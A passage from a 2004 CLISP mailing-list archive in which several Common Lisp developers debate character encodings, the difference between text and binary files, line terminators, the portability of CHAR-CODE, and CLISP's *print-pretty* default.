*print-pretty*, read-char In-Reply-To: <16472.62240.358258.176263@thalassa.informatimago.com> References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172109.30911.bruno@clisp.org> <16472.47982.828478.350546@isis.cs3-inc.com> <200403172243.01260.bruno@clisp.org> <200403172228.14725.bruno@clisp.org> <16472.56482.162152.281684@isis.cs3-inc.com> <16472.62240.358258.176263@thalassa.informatimago.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 17:37:46 2004 X-Original-Date: Wed, 17 Mar 2004 17:30:02 -0800 Pascal J.Bourguignon writes: > Imagine you copy your lisp program to three different systems: a > Macintosh system, a MS-Windows system and a unix system, and that with > you same lisp program on these three systems, you try to read a TEXT > file named example.txt transfered thru FTP as a text file between the > three systems. Right, because ftp happens to be changing the file contents. If, on the other hand, I use scp, or ftp in binary mode, then I get the same results with the program that I propose, which I consider to be system indedpendent, and different results with the program that I must write in clisp now, which I regard as system dependent. I don't mind that I *can* write a program that is system dependent. I just want to be *able* to write one that is system independent. > > How code-char/char-code get away without an encoding: > > I gather the point is that the encoding relates bytes on a file to > > characters, and code-char/char-code relates characters to integers, > > which evidently do NOT have to be the same integers that you would > > get if you read or wrote those bytes to/from a file! > > I assume that (= x (char-code (code-char x))) for x in the appropriate > > range. I've also been assuming that the ascii characters correspond > > to the "right" codes. That's probably all that matters to me so far. > You're assuming too much. The "ASCII" characters have not the "right" > codes on an EBCDIC system. And EBCDIC systems are far from dead, they > even do web CGI on CICS... Ok, so if I want to use ebcdic then I should use some other encoding. As it turns out, the Internet protocols pretty much stick to ascii, so that's what I mostly want to use. From pascal@informatimago.com Wed Mar 17 17:55:53 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3mlF-0003Dp-9u for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 17:55:53 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3mlA-00050D-Oe for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 17:55:49 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 39C4B586E2; Thu, 18 Mar 2004 02:55:47 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 62F6F385E1; Thu, 18 Mar 2004 02:57:30 +0100 (CET) Message-ID: <16473.522.327108.304940@thalassa.informatimago.com> To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Cc: , Bruno Haible , sds@gnu.org, clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: *print-pretty*, read-char In-Reply-To: <16472.64410.352944.818514@isis.cs3-inc.com> References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172109.30911.bruno@clisp.org> <16472.47982.828478.350546@isis.cs3-inc.com> <200403172243.01260.bruno@clisp.org> <200403172228.14725.bruno@clisp.org> <16472.56482.162152.281684@isis.cs3-inc.com> <16472.62240.358258.176263@thalassa.informatimago.com> <16472.64410.352944.818514@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 17:56:05 2004 X-Original-Date: Thu, 18 Mar 2004 02:57:30 +0100 Don Cohen writes: > Pascal J.Bourguignon writes: > > > Imagine you copy your lisp program to three different systems: a > > Macintosh system, a MS-Windows system and a unix system, and that with > > you same lisp program on these three systems, you try to read a TEXT > > file named example.txt transfered thru FTP as a text file between the > > three systems. > > Right, because ftp happens to be changing the file contents. > If, on the other hand, I use scp, or ftp in binary mode, But once you copy your files in BINARY mode, they're no longer TEXT files. They are now binary file, and you cannot read CHARACTERS from them only BYTES. If you want to have the exact same behavior on the three systems BYTE-FOR-BYTE, you must read and write BYTES, not LINES of CHARACTERS. > then I get the same results with the program that I propose, which > I consider to be system indedpendent, and different results with > the program that I must write in clisp now, which I regard as > system dependent. I don't mind that I *can* write a program that > is system dependent. I just want to be *able* to write one that is > system independent. Then don't use CHARACTERS and CHAR-CODE/CODE-CHAR since these functions ARE IMPLEMENTATION DEPENDENT! Which is even worse than system dependent, since different implementations on the same system can have different idea of what CHAR-CODE or CODE-CHAR should return. Even the SAME implementation can be compiled with options giving different results, such as clisp compiled in 8-bit chars or with unicode support! system independent <=> BYTE, READ-BYTE, WRITE-BYTE implementation dependent <=> CHAR, READ-CHAR, WRITE-CHAR > > > How code-char/char-code get away without an encoding: > > > I gather the point is that the encoding relates bytes on a file to > > > characters, and code-char/char-code relates characters to integers, > > > which evidently do NOT have to be the same integers that you would > > > get if you read or wrote those bytes to/from a file! > > > I assume that (= x (char-code (code-char x))) for x in the appropriate > > > range. I've also been assuming that the ascii characters correspond > > > to the "right" codes. That's probably all that matters to me so far. > > > You're assuming too much. The "ASCII" characters have not the "right" > > codes on an EBCDIC system. And EBCDIC systems are far from dead, they > > even do web CGI on CICS... > > Ok, so if I want to use ebcdic then I should use some other encoding. > As it turns out, the Internet protocols pretty much stick to ascii, > so that's what I mostly want to use. My point, and what you don't understand, is that when you are expecting TEXT data, your program could be running on an EBCDIC system and receive URLs and HTML textual data in EBCDIC! Of course, what runs on the wire is always ASCII, but what code you find in core memory can be anything the system likes to have. Read again the COMMON-LISP standard http://www.lispworks.com/reference/HyperSpec/Body/02_ac.htm and you'll see that the only thing that is prescribed is a minimum set of characters, but that the corresponding codes can be anything as long as some constaints are respected: http://www.lispworks.com/reference/HyperSpec/Body/13_af.htm You should really study the whole chapter 2 and chapter 13 of CLHS. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From don-sourceforgexx@isis.cs3-inc.com Wed Mar 17 18:51:15 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3ncp-0002cE-O5 for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 18:51:15 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3nco-0007c5-3i for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 18:51:14 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2I2jWr21446; Wed, 17 Mar 2004 18:45:32 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16473.3404.562901.729337@isis.cs3-inc.com> To: Cc: Bruno Haible , sds@gnu.org, clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: *print-pretty*, read-char In-Reply-To: <16473.522.327108.304940@thalassa.informatimago.com> References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172109.30911.bruno@clisp.org> <16472.47982.828478.350546@isis.cs3-inc.com> <200403172243.01260.bruno@clisp.org> <200403172228.14725.bruno@clisp.org> <16472.56482.162152.281684@isis.cs3-inc.com> <16472.62240.358258.176263@thalassa.informatimago.com> <16472.64410.352944.818514@isis.cs3-inc.com> <16473.522.327108.304940@thalassa.informatimago.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 18:52:01 2004 X-Original-Date: Wed, 17 Mar 2004 18:45:32 -0800 Pascal J.Bourguignon writes: > But once you copy your files in BINARY mode, they're no longer TEXT > files. They are now binary file, and you cannot read CHARACTERS from > them only BYTES. If you want to have the exact same behavior on the > three systems BYTE-FOR-BYTE, you must read and write BYTES, not > LINES of CHARACTERS. What determines whether they are binary or text files in the first place? If I create them emacs are they text? If I copy them with scp do they remain text? If I name them .txt does that make them text? I have to say that I don't see any well defined boundary. I'm not so sure I really see any boundary at all. Do you think that a file could possibly contain part text and part binary data? > Then don't use CHARACTERS and CHAR-CODE/CODE-CHAR since these > functions ARE IMPLEMENTATION DEPENDENT! So you think that when I look at some RFC that talks about the "US-ASCII coded character set" that I should be reading in binary. You think that when it talks about "GET" this should be viewed as a sequence of bytes. I should not use the character string "GET" in a lisp program to find out what type of http request is arriving. I think these are characters, and a programming language should be able to deliver them to me as characters. If I use an ebcdic machine then perhaps I should use some non-default encoding to do that. There is, after all, an ascii character set that is supported by clisp. I don't know what it does with bytes>127, but I suggest that it would be useful to support a character set that agrees with ascii up to 127 and assigns some (I don't really care which) characters to 128-255. I believe that whatever character set I now use does satisfy these requirements. I should then be able to use that character set to read whatever bytes are in my file, whether or not you happen to view it as a "text" file. From pascal@informatimago.com Wed Mar 17 19:06:26 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3nrV-0004a1-UV for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 19:06:25 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3nrU-0003IW-8n for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 19:06:24 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 034E6586E2; Thu, 18 Mar 2004 04:06:21 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 1F80538A3D; Thu, 18 Mar 2004 04:08:05 +0100 (CET) Message-ID: <16473.4757.44165.360713@thalassa.informatimago.com> To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: *print-pretty*, read-char In-Reply-To: <16473.3404.562901.729337@isis.cs3-inc.com> References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172109.30911.bruno@clisp.org> <16472.47982.828478.350546@isis.cs3-inc.com> <200403172243.01260.bruno@clisp.org> <200403172228.14725.bruno@clisp.org> <16472.56482.162152.281684@isis.cs3-inc.com> <16472.62240.358258.176263@thalassa.informatimago.com> <16472.64410.352944.818514@isis.cs3-inc.com> <16473.522.327108.304940@thalassa.informatimago.com> <16473.3404.562901.729337@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 19:07:00 2004 X-Original-Date: Thu, 18 Mar 2004 04:08:05 +0100 Don Cohen writes: > Pascal J.Bourguignon writes: > > But once you copy your files in BINARY mode, they're no longer TEXT > > files. They are now binary file, and you cannot read CHARACTERS from > > them only BYTES. If you want to have the exact same behavior on the > > three systems BYTE-FOR-BYTE, you must read and write BYTES, not > > LINES of CHARACTERS. > > What determines whether they are binary or text files in the first > place? It depends on the operating system you're using. On unix, it's entirely up to the user and the library and applications you're using. On MS-DOS and Macintosh, it's the applications that tell the OS/libraries how to consider the file at open time. (The "b" in the mode argument of fopen). On other operating system the file system knows exactly what kind of file it stores and how they are structured. > If I create them emacs are they text? You should ask to users of emacs on VMS. But I guess that most files created with emacs are indeed text files. > If I copy them with scp do they remain text? > If I name them .txt does that make them text? That would be irrelevant on the OS I know. > I have to say that I don't see any well defined boundary. Because you seem to know only operating systems where there's no boundary. Common-Lisp is designed to be able to run portably on operating systems that make the distinction between text files, fixed record binary files, variable record binary files, indexed files, sequential access files, etc. > I'm not so sure I really see any boundary at all. > Do you think that a file could possibly contain > part text and part binary data? Not from the point of view of Common-Lisp, and the OS that I know that make the distinction between text and binary. But why do you think clisp developer took the time to implement EXT:CONVERT-STRING-FROM-BYTES and EXT:CONVERT-STRING-TO-BYTES? They are useful to embed text into a binary file. And note that these OS are not only legacy OS. PalmOS for example has only record-structured files, and text can be stored one line per record (no CR/LF problem there!). > > Then don't use CHARACTERS and CHAR-CODE/CODE-CHAR since these > > functions ARE IMPLEMENTATION DEPENDENT! > So you think that when I look at some RFC that talks about the > "US-ASCII coded character set" that I should be reading in binary. Indeed, if you want to manipulate the packets or the streams defined by the Internet RFC, you'd better do it in binary. If you do it in text, on unix or on macintosh you'd have problems with CRLF line terminations that are mandatory in Internet protocols. > You think that when it talks about "GET" this should be viewed as > a sequence of bytes. I should not use the character string "GET" > in a lisp program to find out what type of http request is arriving. What you get for "GET" depends on the encoding of the source of your lisp program! > I think these are characters, and a programming language should be > able to deliver them to me as characters. If I use an ebcdic machine > then perhaps I should use some non-default encoding to do that. There > is, after all, an ascii character set that is supported by clisp. By clisp but NOT by COMMON-LISP! That's where the portability enters the scene. > I don't know what it does with bytes>127, but I suggest that it > would be useful to support a character set that agrees with ascii up > to 127 and assigns some (I don't really care which) characters to > 128-255. I believe that whatever character set I now use does > satisfy these requirements. I should then be able to use that > character set to read whatever bytes are in my file, whether or not > you happen to view it as a "text" file. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From zera_holladay@yahoo.com Wed Mar 17 19:19:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3o3z-0006DC-7g for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 19:19:19 -0800 Received: from web41409.mail.yahoo.com ([66.218.93.75]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1B3o3x-0006BO-BJ for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 19:19:17 -0800 Message-ID: <20040318031912.64711.qmail@web41409.mail.yahoo.com> Received: from [68.252.249.38] by web41409.mail.yahoo.com via HTTP; Wed, 17 Mar 2004 19:19:12 PST From: zera holladay Subject: Re: [clisp-list] Re: *print-pretty*, read-char To: Don Cohen , pjb@informatimago.com Cc: Bruno Haible , sds@gnu.org, clisp-list@lists.sourceforge.net In-Reply-To: <16473.3404.562901.729337@isis.cs3-inc.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 19:20:03 2004 X-Original-Date: Wed, 17 Mar 2004 19:19:12 -0800 (PST) > What determines whether they are binary or text > files in the first > place? If I create them emacs are they text? > If I copy them with scp do they remain text? > If I name them .txt does that make them text? > I have to say that I don't see any well defined > boundary. > I'm not so sure I really see any boundary at all. > Do you think that a file could possibly contain > part text and part binary data? You're right there is no boundry, a file is just a bunch of ones and zeros on your hard disk, a byte is really just a byte is a byte. What you you do with the data is what makes the difference, ie allow hex 0x41 to represent what humans call "A". -zh __________________________________ Do you Yahoo!? Yahoo! Mail - More reliable, more storage, less spam http://mail.yahoo.com From don-sourceforgexx@isis.cs3-inc.com Wed Mar 17 23:06:48 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3f8a-0003gj-R1 for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 09:47:28 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3f8X-00087S-7u for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 09:47:25 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2HHffN18072; Wed, 17 Mar 2004 09:41:41 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16472.36309.466307.283826@isis.cs3-inc.com> To: Bruno Haible Cc: clisp-list@lists.sourceforge.net, Sam Steingold In-Reply-To: <200403171323.07936.bruno@clisp.org> References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <16471.37762.949123.471680@isis.cs3-inc.com> <200403171336.34696.bruno@clisp.org> <16471.30946.394013.755309@isis.cs3-inc.com> <200403171323.07936.bruno@clisp.org> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 23:07:05 2004 X-Original-Date: Wed, 17 Mar 2004 09:41:41 -0800 > You have enough customizable variables, from *print-pretty* to the > symbols in the CUSTOM package, that you can set in your .clisprc.lisp file. Init files are really not adequate for things that affect programs that are run by different people on different machines. You might imagine that *print-pretty* should not affect programs, but I've found many times that this is just not true. The last case (provoking a recent message to this list) was a program that was trying to manage the space on a screen. I wanted to print something on the top line of the screen. I position the cursor to the top of the screen and do (princ "...") and the text comes out on the second line! I think the only solution is that this program should include in its code (setf *print-pretty* nil). Considering the amount of time I've spent tracking down such problems it seems clear that I really ought to do that in every lisp program I write. The unicode stuff is similar. I've started to put in my batch files export LANG=en_US but I now begin to think that this ought to be replaced by another form in every lisp program I write. I guess this means that my web server only runs in English. At least for clisp. > The default is set so that clisp becomes most useful to newbies, without > customization. If all other Lisps look frightening to newbies, that's > not a reason why clisp should look the same. I think I've heard this argument before. There's certainly room for argument about what's useful or frightening to newbies. (They probably know better what frightens them than what is useful or good for them.) In any case, I gave up long ago on this one. I just have to keep learning to set it. I should perhaps thank you for making me fix my programs to not rely on this implementation dependent value. (Is there a list of other global variables with implementation dependent initial values?) > > To me the issue is what exactly is a newline. > > I don't think it has to be the same as #\return or #\linefeed. > > I think that if the line terminator mode is :unix then it should > > be ok for READ-LINE to return a string with an embedded #\return > > and if line terminator mode is :mac then it should be ok to return > > a string with #\linefeed, and if :dos then it should be ok to > > return a string with both of those (but not #\return followed > > immediately by #\linefeed). > > This is the way it's done in Java. And it's shitty: although the standard > way to designate a string with an embedded newline is "foo\n", when you > write a string to a file stream, you find out that > stream.print("foo\n"); > does not the same thing as > stream.println("foo"); Knowing practically nothing about java, I will not attempt to explain or defend it. However, it seems inevitable that if you try to map multiple file representations to the same memory representation then the reverse mapping will (and should) be one to many. The best you can do is provide some way to control both the input and output mappings. That's what I want to do. If you like the current behavior then let that be the default. Clearly my current solution is exactly what I want. I read 8 bit bytes and then call code-char, using an encoding that gives me 256 different characters for the 256 bytes. It just seems silly that this should be the best (maybe only) way to get the desired result. From bruno@clisp.org Thu Mar 18 04:49:57 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3wyD-0007US-6E for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 04:49:57 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3wy9-0003ar-En for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 04:49:53 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i2ICnVAR002762; Thu, 18 Mar 2004 13:49:31 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i2ICnUWR002073; Thu, 18 Mar 2004 13:49:30 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id D12421BA99; Thu, 18 Mar 2004 12:44:11 +0000 (UTC) From: Bruno Haible To: sds@gnu.org User-Agent: KMail/1.5 Cc: don-sourceforgexx@isis.cs3-inc.com (Don Cohen), clisp-list@lists.sourceforge.net References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172243.01260.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403181344.10636.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 04:50:16 2004 X-Original-Date: Thu, 18 Mar 2004 13:44:10 +0100 Sam Steingold wrote: > I think he wants to re-use the vector (a la READ-SEQUENCE). > CONVERT-STRING-TO-BYTES will always allocate a fresh vector. > Maybe an :OUTPUT + :START-OUTPUT combination is needed: > > (EXT:CONVERT-STRING-FROM-BYTES byte-vector encoding > :START 10 :END 33 > :OUTPUT string :START-OUTPUT 17) > > will write characters into STRING starting at position 17. > (and using ADJUST-ARRAY if STRING is shorter than 40) While it's theoretically possible to add options like this, you will note that functions which do complex operations _and_ store the result destructively somewhere are rare in Lisp. The only one that comes to mind are MAP-INTO and the BIT array operations. There is no RPLACBOTH, no NSUBSEQ, no NCONCATENATE, etc. (The reason is, of course, that destructive operations kill the functional programming style.) Therefore I would add such options only after an investigation would show that the garbage collection overhead due to the strings created by EXT:CONVERT-STRING-FROM-BYTES is not bearable. > still, each character is an integer, right? > (even 21 bit integer!) Still, for creating portable programs, you best view a character just as the contents of a string of length 1, and forget about the mapping to integer. Bruno From sds@gnu.org Thu Mar 18 05:43:26 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3xny-0000L3-AW for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 05:43:26 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3xnt-00089B-TS for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 05:43:22 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2IDgwlF011286; Thu, 18 Mar 2004 08:42:59 -0500 (EST) To: clisp-list@lists.sourceforge.net, Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16472.62240.358258.176263@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Thu, 18 Mar 2004 01:53:52 +0100") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172109.30911.bruno@clisp.org> <16472.47982.828478.350546@isis.cs3-inc.com> <200403172243.01260.bruno@clisp.org> <200403172228.14725.bruno@clisp.org> <16472.56482.162152.281684@isis.cs3-inc.com> <16472.62240.358258.176263@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.001 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 05:44:09 2004 X-Original-Date: Thu, 18 Mar 2004 08:42:58 -0500 > * Pascal J.Bourguignon [2004-03-18 01:53:52 +0100]: > > Imagine you copy your lisp program to three different systems: a > Macintosh system, a MS-Windows system and a unix system, and that with > you same lisp program on these three systems, you try to read a TEXT > file named example.txt transfered thru FTP as a text file between the > three systems. > > In clear, on the Macintosh you'll have in the file: "texttext[CR]texttext[CR]" > on the unix system you'll have 